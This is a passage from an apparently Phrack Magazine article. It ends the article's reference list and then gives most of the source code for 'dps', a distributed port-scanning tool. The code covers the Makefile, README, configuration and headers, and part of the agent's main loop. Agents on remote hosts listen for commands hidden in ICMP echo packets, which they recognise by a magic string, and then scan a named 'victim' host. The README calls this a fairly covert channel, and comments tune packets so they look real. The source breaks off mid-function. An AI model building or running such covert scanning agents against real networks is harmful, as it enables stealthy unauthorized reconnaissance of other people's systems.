http://www.washington.edu/People/dad/
[4] Distributed Information Gathering, hybrid, Phrack Magazine, Vol. 9,
Issue 55, Article 9 of 16, 09.09.99,
http://www.phrack.com/search.phtml?view&article=p55-9
[5] Check Point Open Platform for Security (OPSEC), Check Point Software
Technologies Ltd, 1999, http://www.opsec.com
[6] Distributed Metastasis: A Computer Network Penetration Methodology,
Andrew J. Stewart, Phrack Magazine Vol. 9, Issue 55, Article 16 of 19,
09.09.99, http://www.phrack.com/search.phtml?view&article=p55-16
[7] The Internet Worm Program: An Analysis, Eugene H. Spafford, Purdue
University, 1998,
http://www.cerias.purdue.edu/coast/archive/data/categ29.html
[8] Project Loki, daemon9 & alhambra, Phrack Magazine Vol. 7, Issue 49,
Article 06 of 19, August 1996,
http://www.phrack.com/search.phtml?view&article=p49-6
[9] Back Orifice 2000, Cult of the Dead Cow, http://www.b02k.com
[10] http://www.netbus.org
----| Source Code
<++> p56/dps/Makefile !5f996922
CC = gcc
CFLAGS = -O3 -DDEBUG
LIBS = -lnet -lpcap
CLI_OBJECTS = source/clt_main.o source/clt_packet_injection.o source/clt_wait.o
AGT_OBJECTS = source/agt_main.o source/agt_pscan.o
DPS_OBJECTS = source/dps_helper.o source/dps_pcap.o
.c.o:
$(CC) $(CFLAGS) $(DEFINES) -c $< -o $@
common: $(DPS_OBJECTS)
client: $(CLI_OBJECTS) $(DPS_OBJECTS)
$(CC) $(DPS_OBJECTS) $(CLI_OBJECTS) $(LIBS) -o client
strip client
agent: $(AGT_OBJECTS) $(DPS_OBJECTS)
$(CC) $(DPS_OBJECTS) $(AGT_OBJECTS) $(LIBS) -o agent
strip agent
clean:
rm -f source/*.o core
<-->
<++> p56/dps/README !6dab2725
dps 1.0
dps is a distributed portscanning tool. It consists in a client working
in conjuction with agents located in several remote hosts thus providing
'many-to-one' and 'many-to-many' portscanning.
The communication between the client and the agents is provided via some
basic commands encapsulated in ICMP ECHO_REQUEST/ECHO_REPLY packets this way
providing a fairly covert channel.
Data payload encryptation is also available
using the most popular symmetric-key algorithms (except for DES due to the
pathetic export restrictions is U.S.).
(*not* yet implemented)
The portscan request is done by the client, being the portscan itself done by
the agents which then report back to the client the results obtained.
Compilation notes:
1. make client
2. make agent
and that'z it!
<-->
<++> p56/dps/agents.txt !96b84d09
foo
bar
neuro.somewieirddomain.org
10.0.2.10
<-->
<++> p56/dps/localtest.txt !ea0d9aae
127.0.0.1
<-->
<++> p56/dps/include/config.h !5d33c259
#define MAGIC "lifeline" /* magic string, only alphanumerical
characters please. Btw, you will
become an idiot if you don't change this.
*/
#define BLOWFISH_KEY "lifelinerox"
#define MAX_HOST_SIZE 64 /* maximum hostname size allowed */
#define MAX_ICMP_PAYLOAD_SIZE 56 /* ok, this one is tricky. A maximum payload
of 56 bytes is recommended is you want
the packets to seem real. But 56 may not
be enough to store all the port
information, in this case the program
will split up in various ICMP packets,
however in the case that the port
information may be really large it will
cause a tremendous ICMP flood in the
network, so deal with it and use the
option that fits you best.
*/
<-->
<++> p56/dps/include/dps_pcap.h !3dca6d72
#ifndef DPS_PCAP
#define DPS_PCAP
#ifdef SOLARIS
#include "./solaris.h"
#endif
#include <pcap.h>
#define LOOPBACK_OFFSET 4
#define ETHERNET_OFFSET 14
#define SLIP_PPP_OFFSET 24
char errbuf[PCAP_ERRBUF_SIZE];
void
dps_pcap_err(
char *,
char *
);
pcap_t *
dps_pcap_prep(
int,
char *,
char *
);
int
dps_pcap_datalink(
pcap_t *
);
void *
dps_pcap_next(
pcap_t *
);
#endif /* DPS_PCAP */
/* EOF */
<-->
<++> p56/dps/include/prototypes.h !f50ce3e5
#include <linux/types.h>
extern char *itoa(int);
struct agentnfo {
u_long address; /* agent's IP address */
u_long victim; /* victim's IP address */
char *ports; /* ports to scan separated by comas(",") and minus("-"); */
struct agentnfo *next; /* next agent in list, this is a linked list */
};
struct scannfo {
u_long victim;
u_long cli_addr;
char *ports;
};
struct sp_header {
char magic[8];
__u8 plus:1,
res2:1,
res3:1,
res4:1,
res5:1,
res6:1,
res7:1,
res8:1;
};
extern short int inject(struct agentnfo *, char *);
<-->
<++> p56/dps/include/solaris.h !acb0956b
#ifndef SOLARIS_H
#define SOLARIS_H
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include <strings.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip_var.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#endif /* SOLARIS_H */
/* EOF */
<-->
<++> p56/dps/source/agt_main.c !aaf7e1ae
#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <asm/types.h>
#include "../include/config.h"
#include "../include/prototypes.h"
#define SNAPLEN 64
#define ETHHDR 14
void pkt_analyser_func(char *, char *);
/* Global variables */
unsigned int dlink_s;
const u_char *snapend;
int main(int argc, char **argv) {
pkt_analyser_func(argv[1], MAGIC);
}
void pkt_analyser_func(char *dev, char *magic) {
pcap_t *pd;
char *data;
struct pcap_pkthdr h;
struct iphdr *iph;
char *payload;
int x;
struct sp_header *head;
struct scannfo *scan;
if(!dev) {
if(!(dev = pcap_lookupdev(NULL))) {
perror("pcap_lookupdev");
exit(1);
}
}
printf("Using device %s
", dev);
pd = pcap_open_live(dev, SNAPLEN, 0, 10, NULL);
switch(pcap_datalink(pd)) {
case DLT_EN10MB:
case DLT_IEEE802:
dlink_s = ETHHDR;
break;
case DLT_NULL:
dlink_s = 4;
break;
default:
perror("unknown datalink header");
exit(0);
break;
}
for(;;) {
data = pcap_next(pd, &h);
iph = (struct iphdr *)(data + dlink_s);
if(iph->protocol == IPPROTO_ICMP) {
struct icmphdr *icmph = (struct icmphdr *)(data + dlink_s + iph->ihl*4);
if(icmph->type == 8 && icmph->code == 0) {
payload = malloc(MAX_ICMP_PAYLOAD_SIZE);
memcpy(payload, data + dlink_s + iph->ihl*4 + 8, MAX_ICMP_PAYLOAD_SIZE);
/*
for(x = 0; x <= MAX_ICMP_PAYLOAD_SIZE; x++)
printf("%c", *(payload+x));
printf("
");
*/
if (!(strncmp(MAGIC, payload, strlen(MAGIC)))) {
head = malloc(16);
memcpy(head, payload, 16);
if (!(head->plus)) {
scan = malloc(sizeof(struct scannfo));
memcpy(scan, payload + 16 + sizeof(u_long), sizeof(u_long));
memcpy(scan + sizeof(u_long), payload + 16, sizeof(u_long));
scan->ports = malloc(strlen(payload + 16 + 2*sizeof(u_long)) + 1);
memset(scan->ports, '